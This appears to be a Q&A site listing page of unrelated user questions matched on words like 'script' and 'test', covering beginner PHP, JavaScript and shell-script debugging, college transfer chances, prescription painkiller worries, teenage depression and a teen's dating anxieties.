<form action="" method="post"> <input type="text" name="name" /> <input type="submit" value="My Name Is .." /> </form> <?php $filename = "username.php" ; $name = "" ; $fh = fopen("$filename","w") or die ("Can't find $filename") ; fwrite ($fh , $name) ; fclose($fh); $fh = fopen ($filename , "r") or die ("Can't find $filename") ; $fstring = fread ($fh , filesize ($filename)) ; echo "$fstring"; fclose($fh) ; ?> when the variable $name has a name inserted it works fine it opens the file writes the name to it and then echos the files contents. My problem is the variable needs to remain blank as it pulls its information from the above form so onload of the page the user enters their name submits it and this passes their name onto the script who stores it then echos it were needed So the question is how do I get the php script to wait for the user to enter their name and accept the blank file. the current error I get is Warning: fread() [function.fread]: Length parameter must be greater than 0 in filepath/test.php on line 17 Any help would be great thanksJ.J.'s Advice / Avis de J.J. Thanks for your help and everyone else the code provied works but the problem is it needs the if statement like the person below mentioned how do I encorporate this because if the person visiting my site just presses enter they get an error I can turn this of so they won't see the error I know but how do I make it validate the form for input Thanks again for all the help so farAnother thing has just popped into my mind as well mainly on the security side of things this input isn't validated It needs to stop the entry of any symbol that is present in programming languages to stop server queries things like /?><$£"!&^% etc the input must allow only text not even numbers more

Resolved Question: Please answer these English questions????

Directions: Identify the adverb or adverbs in each of the following sentences. Then, give the word or expression that each adverb modifies. If a sentence does not contain and adverb, write none. 1. Successful movie scripts, or screenplays, are written according to a very rigid formula. 2. The main character and the action of the story must grab an audience's interest quickly. 3. Almost exactly twenty-five minutes into the movie comes a "plot point." 4. A plot point is surprising event that swings the story around in another direction. 5. Most of the action and conflict occurs in the nest hour of the movie. 6. Then come another plot point, about eighty-five minutes into the movie. 7. Finally, the audience learns what happens to the characters. 8. The last time I went to a movie I really liked, I checked my watch. 9. It was quite interesting to find that the movie's timing matched this formula. 10. Try this test yourself sometime. Please help me if you know english.Not Hw. I just want to know how to do these. I'm having trouble with them. more

Resolved Question: What's wrong with my javascript code?

On my webpage, I'm trying to get an image to move when I click it. This is a borrow function from a code archive, and it worked for me in their sample web page. But when I copy the code to mine, it doesn't work. It still goes to the moveObjRight function when the image is clicked (I added an "alert()" line in the moveObjRight function to test, and the alert popped up) but doesn't move the image o.O Eh, go figure. Help me out and I'll love you forever. ......... Hmove=-100; function moveObjRight(obj) { obj.style.left=Hmove; Hmove+=2; if(Hmove<100) window.setTimeout("moveObjRight(" +obj.id+ ");", 0); } </SCRIPT> <!--Main body--> <body> <p><img id=JS style="z-index: 0; left: -100px; position: absolute; top: 50px" height=32 width=101 align=baseline border=0 hspace=0 src="about.PNG"></p> <p> <script language="JavaScript"> moveUp(JS); </script> </p> <script>document.write('<div style="text-align: center;"><img id=IMGabout style="position:absolute; LEFT: '+IMGaboutX+'px; TOP: 370px;" src="about.png"; border=none"; onClick="moveObjRight(IMGabout)";></div>')</script> ........... more

Resolved Question: I've had 5 prescriptions in the last month for the same thing vicodin will I get in trouble?

Dentists only prescribe vicodin which hasn't been working and they only provide it at 15tablets. My personal physician wrote me a script for 30 pills today. But, I just filled a prescription for 15pills yesterday. Then 15 pills 2 days before that and then 2weeks before that I had tylenol 3 filled.I'm scared because my doctor just said he thinks i'm getting to many narcotics each month. But, I KNOW its legitimate i'm not going all over the state i'm being seen at clinics and go to dr on a first come first serve basis. So, i'm scared if I try to get my prescription there gonna arrest me or something. Also the doctor made me pee in a cup although I didnt give him permission to take a drug test. I know it looks bad but im not an addict I have endometriosis and several infected impacted teeth. Will I be looked at under some California system for getting to many narcotics in a short period of time? Or is this left on the doctors who prescribed them?Let me just add that these medications came within the same "clinic" I didn't go clinic to clinic they all had access to my past visits the reason I was there. I went in explaining my problems demanding tests but while they were awaiting test or for me to get a refferal THEY prescribed the medication and always told them that I just got medication its not working what else can I do or i've already seen DR. so and so and they gave me this and i've taken them all so what do I do now? I never tried to decieve I may have gotten different scripts from doctors but it was all documented and I was HONEST so I don't understand why this is my problem. I've begged for CT scan for my kidneys they said it sounded more like back pain and prescribed PILLS PILLS PILLS. I have marijuana in my system but the doctor did not get my consent to test me for drugs anyways. more

Resolved Question: I don't believe you know the dictionary very well...if so,here's a simple quiz/test..!good luck...!!!!!!?

What are the following: · Nomads · Neolithic Revolution-what changes did it bring about? · Neolithic Age- also known as? · Basic characteristics of civilizations? · Menes · Mummification · Akkadian Empire- what was its significance? · Hittites · Sargon · Mesopotamians- know the type of work they did · King Solomon · Phoenician alphabet- why important? · Theocracy · Hieratic Script- how used? · Cuneiform- which civilization invented it? · Hammurabi- best known for? · Sumerians- believed what about gods and goddesses? · Judaism · Asoka · Sanskrit · Liu Bang · Xia dynasty- what was its significance? · Silk Road · Aryans-lifestyle · Zhou dynasty- claimed to rule China because of? · Ancient Indians’ contribution · Siddhartha Gautama · Qin dynasty- how was the central bureaucracy divided? · Civil service exam · Aryabhata · Mycenaeans-lifestyle · Dark Age · Acropolis · Democracy · Zeus · Parthenon · Philosophy · Plato · Hellenistic Era- who was responsible for it and its impact? · Eratosthenes- his discovery · Epicurus-his philosophy · Homer- his writings · Olympus · Thucydides · Alexander the Great-significance of his conquests · Euclid- his writing · Stoicism · Achilles · Polis · Oligarchy · Macedonia-ruled by whom? · Herodotus-his writing · Archimedes- his discovery and exclamation       more

Resolved Question: My parents took me a to a psychiatrist, he referred us to a clinical psychologist, he gave me 3 "tests"...?

that hold up in court, and all of them showed no psychological/psychiatric problem. My parents are like pushing this though that if i dont take pills (That i dont need), i have to leave the house. (They found some psychiatrist that will write the script)....any advice on what to do? thanks more

Resolved Question: javascripts with random array's question but how to made the answer deal with the questions asked?

<script language=javascript> var question = new Array("1+1=","2+1=","3+1=","4+1=","5+1="); var mine = new Array(0,0,0,0,0) var ans = new Array("2","3","4","5","6") var select; for(i=0;i<3;i++){ select = Math.round(Math.random()*4); while(mine[select] == 1){ select= Math.round(Math.random()*4); } mine[select] = 1; } var cont=1; if(mine[0]==1){ document.write("question" + cont + "=" + question[0] + "</br>"); cont++; } if(mine[1]==1){ document.write("question" + cont + "=" + question[1] + "</br>"); cont++; } if(mine[2]==1){ document.write("question" + cont + "=" + question[2] + "</br>"); cont++; } if(mine[3]==1){ document.write("question" + cont + "=" + question[3] + "</br>"); cont++; } if(mine[4]==1){ document.write("question" + cont + "=" + question[4] + "</br>"); cont++; } for(i=0;i<mine.length;i++){ document.write(mine[i]) } function count1(){ question[i]=mine[i]; if(question[i]= </script> <body> <form name=form1> <p> </p> <p>question1=<input type="text" name="T1" size="20"><input type="button" value="test" name="B1" onclick=count1()></p> <p>question2=<input type="text" name="T2" size="20"><input type="button" value="test" name="B2" onclick=count2()></p> <p>question3=<input type="text" name="T3" size="20"><input type="button" value="test" name="B3" onclick=count3()></p> <p> </p> </form> </body> <// 1ST ARRAY IS THE QUESTION 2ND ARRAY IS USE TO GENERATE THE RANDOM VALUE FOR THE QUESTION 3RD ARRAY IS THE ANSWER//> WHEN THE USER CLICK ON THE 1ST TEST BUTTON,HOW TO CALL OUT THE VALUE OF THE RANDOMIZE VALUE OF THE QUESTION CHOOSED AND BEGIN THE SEE WHETHER THE QUESTION IS corresponding with the ans in the array ?? thanks and sorry for my broken english more

Resolved Question: Will I get accepted into Holy Cross/Cornell/Colgate?

What do I need to do to transfer into Holy Cross, Cornell or Colgate? I'm a sophomore in college. English major, want to combine with a double major in philosophy SATs: 1900/2400 (2007) CR- 600/Math-580/Writing-720 19 years old, Hispanic American Originally attended a Tier 1 Liberal Arts College in NY for 2008-2009. (GPA 3.6) Now attend a community college in NJ. ECs: Editor on my school's newspaper, Varsity Division I Tennis (Last year), Sociology Club, Philosophy Club Recommendations: Strong from my two teachers at my previous school. Also securing 2 from my professors at my current school. Taking the SAT Subject Tests in Chemistry, English Literature and U.S. History in late January. Former School Courses and grades World Literature I- A- Reflective Tutorial- B+ (writing intensive college experience course) Script Analysis- A- Political Philosophy- B Honors Macroeconomics- B+ Microeconomics- A- Financial Accounting I- A Intro to Psychology- A Computer Computency Fundamentals- A- Current Courses and Grades (Community College) General Chemistry I- B- College Math I- A Music Appreciation- A Intro to Shakespeare- A Western Civilization- A Planned Courses Spring 2010 World Literature II Deviance and Social Control Development of the American Novel Topics in Literature Elementary French Criminology Do I stand any chance? What do I need to do? I've got my interview with a Northwestern alum coming up on January 16th then on January 23rd, I'm taking the SAT Subject Tests in Chemistry, English Literature and U.S. History. Do you think I doing well on the interview, doing well on my Subject Tests and getting a 4.0 next spring semester will get me into these schools? Holy Cross? Cornell? Colgate? more

Resolved Question: School depresses me... my life's in a pit of despair?

School's starting once again for me soon, but I don't think it's because of the pre-school blues... It happened last year too, and I'm getting rather depressed over it. (I'm thinking it could be because of the new year too, I've never been keen on celebrating the New Year either...) Initially, two years ago, everything was going rather well. I was doing quite well in school (one of the top few students in the cohort) - like the previous years back then. I'm now 16 and things have changed quite drastically since last year. I still remember how carefree I was in my lower secondary years when I really didn't have to study so hard and I just had to memorize my textbook the day before and listen attentively during lessons and score exceptionally well. But all this changed when I came back to school the next year, it all started with my first Math paper that I totally screwed up. I was really good in Math back then, well that was the past, and I was always confident with the answers I write on my scripts etc., and even tutored some of my friends. But somehow after that Math paper, which I merely passed, I guessed I changed quite a bit. I was really moody that I didn't know how to answer some questions that I somehow seem to know how but just can't. I thought it was just a one-time event and brushed it off - and buckled myself to change my learning habits - probably because the syllabus requirements weren't the same as my lower-secondary years when I could slack a bit - so I practically did Math practice questions everyday and I found out that I could do them fairly efficiently, and I sorta got back my confidence after that. But somehow during the mid-year test, I only managed to score a 70, which was a disappointment for both the teachers and I. They thought my class work was superb, but couldn't comprehend why I did so badly for the test, and I also got kinda pissed off with myself as to why I couldn't score a better mark, when it was quite an easy test to score a 100 (quite a few did). Anyway, I began to lose my confidence - and maybe that was what sparked off my so-called depression when I began to harp on the fact that my other subjects were also going down. It was totally unexpected and I didn't know how to handle it, I never really faced such a problem before, and I'm all jittery over it. I don't know - the fact that I still score somewhat in the top 30% in my school makes me feel more inferior to my previous ranking when I was still in the lower secondary... I really hate the feeling of being in the sidelines now, and I hate myself for not being able to do as well as I could have. I don't know, it just makes me sick and tired of seeing the books I have to study and I'm always on the pursuit of achieving the best that I always stress myself out, and put all my effort into my work. But class tests just scare me off and I just start having mental blocks... I feel so overwhelmed by the pursuit of being one of the best that I seem to be losing myself as I try even harder but fail. Teachers ask me why, but I can't explain, I don't know how, I try and try but I just can't. I know I can't be the best at everything and I should be happy with what I have with the best of my effort because I have put in everything, but I just can't put myself to that. Plus, the fact that I've got to choose my career path soon and I'm really at a loss with what I'm getting, I'm getting really confused. I know it's more of interest to the career path, but I don't seem to even have an interest in anything maybe philosophy, but I'm kinda always depressed when I start to write my essays on certain topics. I seriously just want to slack and I'm really just so worried about my future. I just can't seem to feel as if I can cope, I don't have that strength, and I seriously admire those people who persevered to the end, I don't have any motivating factor to do anything now. P.S. I don't think talking with the school counsellor would work. I know her, she's bubbly and nice, but she's just not the sort that could really help me in this, especially when she goes all indirect with me and just tell me everything will be better, like that would help actually. She just seems to be listening on the outside but thinking about other stuff in the inside, and just merely giving unhelpful comments about how I should just cheer up because life is about looking at the positives. How can I actually always look at the positives? I'm really realistic, I can't commit myself to believing that the best may always happen. As for my teachers, they aren't really helpful either, the recent influx of fresh grads aren't helping me. Neither are my parents, they just quarrel over small matters everyday and I seem to be the one helping them break it up instead. I feel like I have to be all so mature when I so yearn for my youth... more

Resolved Question: Which of these schools will I get into?

I'm a sophomore in college. English major, want to combine with a double major in philosophy SATs: 1900/2400 (2007) CR- 600/Math-580/Writing-720 19 years old, Hispanic American Originally attended a Tier 1 Liberal Arts College in NY for 2008-2009. (GPA 3.6) Now attend a community college in NJ. ECs: Editor on my school's newspaper, Varsity Division I Tennis (Last year), Sociology Club, Philosophy Club Recommendations: Strong from my two teachers at my previous school. Taking the SAT Subject Tests in Chemistry, English Literature and U.S. History in late January. Former School Courses and grades World Literature I- A- Reflective Tutorial- B+ (writing intensive college experience course) Script Analysis- A- Political Philosophy- B Honors Macroeconomics- B+ Microeconomics- A- Financial Accounting I- A Intro to Psychology- A Computer Computency Fundamentals- A- Current Courses and Grades (Community College) General Chemistry I- B- College Math I- A Music Appreciation- A Intro to Shakespeare- A Western Civilization- A Planned Courses Spring 2010 World Literature II Deviance and Social Control Development of the American Novel Topics in Literature Elementary French Criminology I'm taking the SAT Subject Tests in Chemistry, English Literature and U.S. History. Do I have a good chance at these schools if I get a 4.0 GPA next semester? Brown Cornell Northwestern Boston College I hear Cornell is particularly transfer friendly and might be the easiest of the 4 for me to get into and might be my best fit more

Resolved Question: What do I need to do to transfer into Northwestern?

I'm a sophomore in college. English major, want to combine with a double major in philosophy SATs: 1900/2400 (2007) CR- 600/Math-580/Writing-720 19 years old, Hispanic American Originally attended a Tier 1 Liberal Arts College in NY for 2008-2009. (GPA 3.6) Now attend a community college in NJ. ECs: Editor on my school's newspaper, Varsity Division I Tennis (Last year), Sociology Club, Philosophy Club Recommendations: Strong from my two teachers at my previous school. Taking the SAT Subject Tests in Chemistry, English Literature and U.S. History in late January. Former School Courses and grades World Literature I- A- Reflective Tutorial- B+ (writing intensive college experience course) Script Analysis- A- Political Philosophy- B Honors Macroeconomics- B+ Microeconomics- A- Financial Accounting I- A Intro to Psychology- A Computer Computency Fundamentals- A- Current Courses and Grades (Community College) General Chemistry I- B- College Math I- A Music Appreciation- A Intro to Shakespeare- A Western Civilization- A Planned Courses Spring 2010 World Literature II Deviance and Social Control Development of the American Novel Topics in Literature Elementary French Criminology Do I stand any chance? What do I need to do? I've got my interview with a Northwestern alum coming up on January 16th then on January 23rd, I'm taking the SAT Subject Tests in Chemistry, English Literature and U.S. History. Do you think I doing well on the interview, doing well on my Subject Tests and getting a 4.0 next spring semester will get me into Northwestern?Will is such a nerd...oh and you guys are both dumb cause the average transfer GPA at Northwestern is a 3.7 more

Resolved Question: Help with javascript functions!?

How do you execute functions that write something on a page without having the page start over? Here's an example: <html> <body> <script type="text/javascript"> document.write("Test"); function test() { document.write("The test was a success!"); } </script> <input type="button" value="Do test" onclick="test()"> </body> </html> When you click the button, how come it erases "Test" and the button and then displays "The test was a success!" instead of just putting "The test was a success!" right after the button, and how come the page never finishes loading? Is there any way to do that without using something like an alert message? If so, how? Thanks! more

Resolved Question: Can I get into Northwestern even though I got a C in General Chemistry?

I'm a sophomore in college. English major, want to combine with a double major in philosophy SATs: 1900/2400 (2007) CR- 600/Math-580/Writing-720 19 years old, Hispanic American Originally attended a Tier 1 Liberal Arts College in NY for 2008-2009. (GPA 3.6) Now attend a community college in NJ. ECs: Editor on my school's newspaper, Varsity Division I Tennis (Last year), Sociology Club, Philosophy Club Recommendations: Strong from my two teachers at my previous school. Taking the SAT Subject Tests in Chemistry, English Literature and U.S. History in late January. Former School Courses and grades World Literature I- B+ Reflective Tutorial- B+ (writing intensive college experience course) Script Analysis- A Political Philosophy- B Honors Macroeconomics- B+ Microeconomics- A- Financial Accounting I- A Intro to Psychology- A Computer Computency Fundamentals- A- Current Courses and Grades (Community College) General Chemistry I- C College Math I- A- Music Appreciation- A Intro to Shakespeare- A Western Civilization- A- Planned Courses Spring 2010 World Literature II Deviance and Social Control Development of the American Novel Topics in Literature Elementary French Criminology Do I stand any chance? Its all that CHEMISTRY class! The professor was a disgruntled man with no regard for other people. He's pretty much ruined my life if I don't get in. Northwestern is my dream school.I PASSED the class and its transferrable by Northwestern's standards... why would I retake it?I know there's fine universities but I only want to go to Northwestern, not Yale, not Stanford, not San Diego State, not Oklahoma State... Northwestern! Also the SATs don't matter! I'm a sophomore in college, the SATs are mere High School material, I'm way past that level. more

Resolved Question: Where is Python saving this file?

import GameLogic as g cont = g.getCurrentController() own = cont.owner write = open('thefilenamed.txt', 'w') write.write(str(own['vari'])+','+str(own['th'])) write.close() Yahoo appears to be leaving out part of the code. Where the ... is, it should continue wn['th'])) Also there was a truncate command just after opening, but it was intentionally removed to see if overwriting long strings with short ones would result in a mix of the two, thereby proving it was always the same destination file. That was written in the text editor of Blender 2.49 and the text was saved without an extension typed in, and then it was used as a script in a logic brick controller. The Python version is 2.6.1 on a Vista machine. The game can write and load the variables, so it seems to be finding thefilenamed.txt even if Blender is closed after saving, then restarted and loaded. Searching in the start menu of Vista does not result in any finds, even with the exact name of the file, and settings on "everything" including all text in indexed and file names of unindexed files. The four questions are: 1) Where is this being saved? 2) Why can't Windows find it? 3) Is it possible that a new file with the same name is being created each time this script runs, or is it certain that it is just overwriting the old file and not eating up more and more disk space? 4) Does 'w' always overwrite the whole file, thereby making the test mentioned above pointless and the truncate function not needed in this context? Thanks. more

Resolved Question: Javascript issues. I'm BRAND new to javascript. I am trying to figure out why this isn't working. Please help.?

I'm Brand new to Javascript, I am trying to write a confidence football pool. I am just trying to test. I am declared all of my teams in my <head> tag, and I am trying to call one team in my <body> tag, but I get nothing to output. I tried both IE7 and Firefox 3.0 but none work. what am I doing wrong? <html> <head> <title>Week 15 Pick 'em</title> <script type="text/javascript" language="JavaScript"> var Bears = "Chicago Bears"; var Vikings = "Minnesota Vikings"; var Lions = "Detroit Lions"; var Packers = "Greenbay Packers"; var Colts = "Indianapolis Colts"; var Jaguars = "Jacksonville Jaguars"; var Ravens = "Baltimore Ravens"; var Dolphins = "Miami Dolphins"; var Titans = "Tennessee Titans"; var Texans = "Houston Texans"; var Rams = "St. Louis Rams"; var Patriots = "New England Paroits"; var Bills = "Buffalo Bills"; var Cardinals = "Arizona Cardinals"; var Browns = "Cleveland Browns"; var Chiefs = "Kansas City Chiefs"; var Falcons = "Atlanta Falcons"; var Jets = "N.Y. Jets"; var 49ers = "S.F. 49ers"; var Eagles = "Philadelphia Eagles"; var Raiders = "Oakland Raiders"; var Broncos = "Denver Broncos"; var Bengals = "Cincinnati Bengals"; var Chargers = "S.D. Chargers"; var Steelers = "Pittsburg Steelers"; var Buccaneers = "Tampa Bay Buccaneers"; var Seahawks = "Seattle Seahawks"; var Panthers = "Carolina Panthers"; var Cowboys = "Dallas Cowboys"; var Saints = "N.O. Saints"; var Giants = "N.Y. Giants"; var Redskins = "Washington Redskins"; </script> </head> <body> <script type="text/javascript" language="JavaScript"> document.write(Lions); </script> </body> </html> more

Resolved Question: PHP question on godaddy hosted website.?

I am an extreme PHP noob and I'm trying to setup a way for the blocks of text on my website to be read via a php script. basicly, instead of actually writing text on the website, I want to write text in a file that i can easy replace as needed. This is for the benefit of the other people who will be updating the website. I am an extreme php noob and made the following changes to my website. First I added <body> <?php and... ?> then i also added this small bit of test php $myFile = "content/testFile.txt"; $fh = fopen($myFile, 'r'); $theData = fread($fh, filesize($myFile)); fclose($fh); echo $theData; the website is a mess. here is the address http://mrsgsrides2school.com/ please help if you can thank you more

Resolved Question: My dream is making me Restless! what is the significance of the number 7 and 21 in Dreams?

In my dream, I was In a classroom where we had just given a test and I was feeling quite confident that I’d get a good score. So when the teacher (an old lady, almost 70 years old and wearing a red suit) read out the score, I was so excited. The girl sitting next to me scored around 2 hundred something.. and just when I thought its my turn, the teacher closed the file and announced that was the last. Disappointed and very much baffled, I stood up from my seat ( here in my dream I realized that I was quite big for a small classroom with equally small desks n chairs, like those of 10 -12 year olds).When I asked the teacher why my score was not read out, she replied that since we ( around five of us) have not been officially admitted to the class, she can’t disclose our marks until all formalities are completed. Still refusing to comply, I explained that I had given the test on a relatively new subject (a shift from engineering to humanities) and so I needed to know how much I scored so that I can decide if it is really WORTH to PURSUE this subject (note that these two words ‘WORTH’ & ‘PURSUE’ were especially highlighted in my dream).Everyone in the class applauded when I finished my sentence (my confidence still very much intact till this point). The teacher agreed and finally gave my score<a Shocking figure, I had scored a 21 ! (compare it to my friend’s 2 hundred plus score!). I was DETERMINED not to accept this score. It was definitely not Mine. So I stood up and objected and the teacher started to check but everything seemed OK and infact, I had scored full marks (the teacher said nobody in the class had scored that much) for the first 3-4 questions. Then my sister came into the scene, not in a classroom anymore. I was convinced someone had swapped my papers and I was trying to find fault with the name on my answer script, that it was certainly not written by me. I was trying to convey this to my sis but almost choking on my words in my effort to make it inaudible to anyone who might be lurking in the corners, listening to our conversation. Another SHOCk.AS I flipped the first page, I was SHOCKED to find that both 2nd and 3rd pages were BLANK! Starting from answer No. 7.Only the serial Nos were written but no answers! And I was AGHAST at what I was looking at. Then in a slight instant, I contemplated over the possibility of me FORGETTING to write the answers myself and misguided into thinking I had answered everything. But I quickly brushed it off not wanting that to be really true. (In reality as well, I have been forgetting a lot of things recently, a lot of things in my head constantly) P.S. if this helps, I’am seriously thinking of movin to the UK for master’s education and I was wondering if this dream is trying to influence my decisions. Also I rem in this dream, I was talking in an ‘english’ accent and wondered to myself this is how people pick up the native’s accent. ( by trying to talk like them) more

Resolved Question: Which school do I have the better chance of getting into- Cal Berkeley or Northwestern?

I'm a sophomore in college. I REALLY want to go to Northwestern English major, want to combine with a double major in philosophy SATs: 1900/2400 (2007) CR- 600/Math-580/Writing-720 19 years old, Hispanic American Originally attended a Tier 1 Liberal Arts College in NY for 2008-2009. (GPA 3.6) Now attend a community college in NJ. ECs: Editor on my school's newspaper, Varsity Division I Tennis (Last year), Sociology Club, Philosophy Club Recommendations: Strong from my two teachers at my previous school. Former School Courses and grades World Literature I- B+ Reflective Tutorial- B+ (writing intensive college experience course) Script Analysis- A Political Philosophy- B Honors Macroeconomics- B+ Microeconomics- A- Financial Accounting I- A Intro to Psychology- A Computer Computency Fundamentals- A- Current Courses and Grades (Community College) General Chemistry I- B College Math I- A- Music Appreciation- A Intro to Shakespeare- A Western Civilization- A- Planned Courses Spring 2010 World Literature II Deviance and Social Control Development of the American Novel Topics in Literature Elementary French Criminology I want to go to Northwestern so bad that I asked my professor at my first school who got his master's from Northwestern to write my primary recommendation. I also am taking 3 SAT Subject Tests in January to show them that I'm a serious student. I'm just afraid that my 3.75 at a community college will stop me from getting in. more

Voting Question: please help with a linux scrypting(really need help).?

ok. my teacher asked us to wrire down a script and here is what he wants: develop a shell script that counts the number of lines in .h and .c files within the Linux kernel source code. This is an example series of steps you may follow to accomplish this task. Feel free to modify or adapt this list at will. 1) Create a test directory structure to use while developing and testing your shell script. The directory structure should have at least a child and a grandchild sub-directories. Within each of the sub-directories and the top directory create two files: a .h and a .c file that have a small known number of lines; for example a Hello World program in C. 2) Use the manual (man) pages for the "find" command and learn how to list all the .h and .c files within a given sub-directory. 3) Use the manual pages to investigate how to count the number of lines within a file using the "wc" command. 4) Now start writing a shell script that uses the find command to find all .c and all .h files within your test data (the directory tree you just created). 5) Add your wc command in order to count the lines within each of the .c and .h files that the find command has reported as being present in your test data. So far your shell script can count the lines in all the .h and .c files within a given test data set but it cannot accumulate the results. 6) Add logic and variables to your shell script in order to accumulate the counts for all the .h and all the .c files. 7) Add logic to print out all your results. Your output should be something similar to the following: Counting the total number of lines in .h and .c files for sub-directory : (list your directory here) Total # of lines in .c files : Total # of lines in .h files : Total # number of lines total : 9) Download and un-compress version 2.6.32 of the Linux kernel from www.kernel.org. 10) Run your script against the Linux kernel source and report the number of lines on .h and .c files within the kernel source. i tried really really hard to do it and i have been doing it for a week. all i could do was this: #!/bin/bash #aeb Ross #last assignement findh=($shell "find -name *.h") findc=find -name *.c echo "the total number of .h files in the kernel is $findh" guys, i know i am asking for too much but i cant do it by myself. pls help me or i will certainly fail this course. more

Voting Question: any LINUX expert please answer... or i will fail my course...plssss?

ok. my teacher asked us to wrire down a script and here is what he wants: develop a shell script that counts the number of lines in .h and .c files within the Linux kernel source code. This is an example series of steps you may follow to accomplish this task. Feel free to modify or adapt this list at will. 1) Create a test directory structure to use while developing and testing your shell script. The directory structure should have at least a child and a grandchild sub-directories. Within each of the sub-directories and the top directory create two files: a .h and a .c file that have a small known number of lines; for example a Hello World program in C. 2) Use the manual (man) pages for the "find" command and learn how to list all the .h and .c files within a given sub-directory. 3) Use the manual pages to investigate how to count the number of lines within a file using the "wc" command. 4) Now start writing a shell script that uses the find command to find all .c and all .h files within your test data (the directory tree you just created). 5) Add your wc command in order to count the lines within each of the .c and .h files that the find command has reported as being present in your test data. So far your shell script can count the lines in all the .h and .c files within a given test data set but it cannot accumulate the results. 6) Add logic and variables to your shell script in order to accumulate the counts for all the .h and all the .c files. 7) Add logic to print out all your results. Your output should be something similar to the following: Counting the total number of lines in .h and .c files for sub-directory : (list your directory here) Total # of lines in .c files : Total # of lines in .h files : Total # number of lines total : 9) Download and un-compress version 2.6.32 of the Linux kernel from www.kernel.org. 10) Run your script against the Linux kernel source and report the number of lines on .h and .c files within the kernel source. i tried really really hard to do it and i have been doing it for a week. all i could do was this: #!/bin/bash #aeb Ross #last assignement findh=($shell "find -name *.h") findc=find -name *.c echo "the total number of .h files in the kernel is $findh" guys, i know i am asking for too much but i cant do it by myself. pls help me or i will certainly fail this course. more

Resolved Question: help with multiple RewriteRules in .htaccess?

Okay so I got mah rewrite rule in .htaccess here: Options +FollowSymLinks RewriteEngine on RewriteRule (.*)/(.*).html$ index.php?cat=$1&entry=$2 and this is my corresponding PHP script in index.php for testing: <? echo("The cat is: '" . $_GET['cat'] . "'and the entry title is '" . $_GET['entry'] . "'. Cool huh?"); ?> Both the .htaccess file and index.php reside in http://3xe.co.uk/music. If I go to http://www.3xe.co.uk/music/ the output is: "The cat is: ''and the entry title is ''. Cool huh?" as expected. Likewise if I go to http://www.3xe.co.uk/music/foo/bar.html the output is: "The cat is: 'foo'and the entry title is 'bar'. Cool huh?" as expected. Excellent. The problem I also want to be able to go to http://3xe.co.uk/music/some-sub-category (without any 'page' listed at the end) but I can't get the RewriteRule I made below to co-operate with the one I wrote above. I probably need to use flags of some kind or it's poorly written or both: RewriteRule (.*)$ index.php?cat=$1 If anyone can help me out with this I'd be eternally grateful. more

Resolved Question: Ladies, could you ever want to get to know a guy like me?

OK, there are 6 facts about me that could be either positive or negative, depending on who you are, but I wonder if perhaps I am simply a guy who really has many chances with a girl. 1) I am introverted and awkward. Don't get me wrong, I have friends and I do talk like a normal person to them. But I have a very timid demeanor, especially when it comes to talking with girls. Oftentimes I want to start a conversation but I don't really know what to say, so either I won't talk or I'll ask too many questions. When somebody teases me (playfully), usually I don't know how to respond. 2) I am of the belief that many people think I'm annoying, weird, creepy, and basically a loser. I think most every girl dislikes me, even girls I've never met. I think they call me a creeper and a weirdo, and that they think I stare at them all the time and undress them with my perverted eyes. Whenever I see a girl looking at me, I always assume that their thoughts are negative. Hypothetically I know I over think things and they obviously have more important things to talk about, but my perceptions of social situations are pessimistic in practice. To put this in perspective, there's a girl at my school I've had my eye on and for the past couple days I've caught her looking at me, once while talking to her friend and they were both looking at me - my immediate instinct was that they were talking about how creepy they think I am. Just yesterday I was finishing off a test in math and I saw they were outside, and the girl looked in at me (along with a couple of her friends). I heard one of them exclaimed "obviously," which was the only word that was audible to me, and in my head I conjured a possible conversation: "Is he in there?" "Obviously!" "He's is so creepy, he's like waiting for us to come, he always stares at me." Blah blah blah. When a girl who I suspect really dislikes me walks past, often I'll use body language to suggest I'm uncomfortable towards them; i.e. flinching away, sneering, rolling my eyes, shaking my head in disgust, mumbling inaudibly to myself "don't look at me," things like that. Just to put us on the same page, you know. 3) I feel I am very different than most guys my age (16 years). In some respects, I feel I have matured a good deal faster: I am more contemplative, curious about the sociological aspects of the world, and am not the least bit mischevious. My sense of humour is more sophisticated than average. I am not athletically inclined and I am somewhat overweight and wear glasses. Most of my time is spent hanging out, listening to music and thinking about things. I enjoy reading and writing short stories and poetry. I particularly love the works of William Shakespeare, the scripts are so poetic (everything's a free verse for him!). I get good grades in school. 4) I have always accepted myself to be heterosexual, however lately I've started to question that perhaps I may in fact be very, very slightly bisexual. On very rare occasions (but slightly more often lately), I have had fleeting thoughts of a very sexual nature towards other guys, which I force out of my head almost instantly. They only happen when I am alone. 5) I have frequent mood swings. One part of the day I could be in a good mood and thinking optimistically about myself; another part of the day, I think really negatively and am focused on the perceived negative aspects of my character which I feel others see in me. But I am definitely far more heterosexual: I find this image to be more attractive than a man's abdomen anyday: http://www.marieclaire.com/cm/marieclaire/images/Yy/rb-long-hair-1-0809-lgn.jpg 6) I am not sexually charged. I'm not attracted to breasts, or @ss, and I'm only attracted to the legs to a certain extent. I have two major fetishes: pantyhose (specifically nude) and shoes (specifically heels). But in order for me to be turned on, the rest of the outfit has to be classy as well (things like a skirt/blouse combo or a dress, dangling gold earrings, curly hair are plusses; the less skin, the better). When looking at a girl, I tend to notice hair, eyes, and clothing. I fantasize about cuddling up to a girl, reading her love poems about how pretty she is, and giving her bouquets of flowers are more appealing to me than the thought of sex.@ Tuesday: Re-read my 3rd point, specifically the part about me "reading and writing short stories and poetry." =) more

Resolved Question: Java script help? Code doesn't output properly?

hi, so im trying to make a program that gets you to input your test score--what you got, and how much it was out of, and it outputs the percentage and grade using 'if else'--however, no matter how much i tried, it keeps outputting that you get an A even when you've gotten 50%! Here it is: <html> <body> <script type = "text/javascript"> var testFinal = prompt("Enter a the score on your test:", ""); var testResult = prompt("What was your test out of?", ""); var scoreTest = parseInt(testFinal); var scoreResult = parseInt(testResult); var grade = "A"; var hundred = 100; </script> <script type = "text/javascript"> if (testScore>= 86) { grade = "A"; } else if (testScore>= 73) { grade = "B"; } else if (testScore>= 67) { grade = "C+"; } else if (testScore>= 60) { grade = "C"; } else if (testScore>= 50) { grade = "C-"; } else if (testScore>= 49) { grade = "F"; } function calculate(a,b) { myCalc = a / b; myCalc = Math.round(myCalc*100)/100; return myCalc; } function multiply(a,b) { myMath = a * b; myMath = Math.round(myMath*100)/100; return myMath; } scoreTwo = calculate(scoreTest,scoreResult); scoreThree = multiply(scoreTwo,hundred); var testScore = parseInt(scoreThree); document.write("You got " + scoreThree + " %. Which is a " + grade + "."); </script> </body> </html> is there anything wrong with it that i cant see?? any help is much appreciated, thanks! more

Resolved Question: can you write prescription medicine out on a scripts that says diagnostic testing and equipment only?

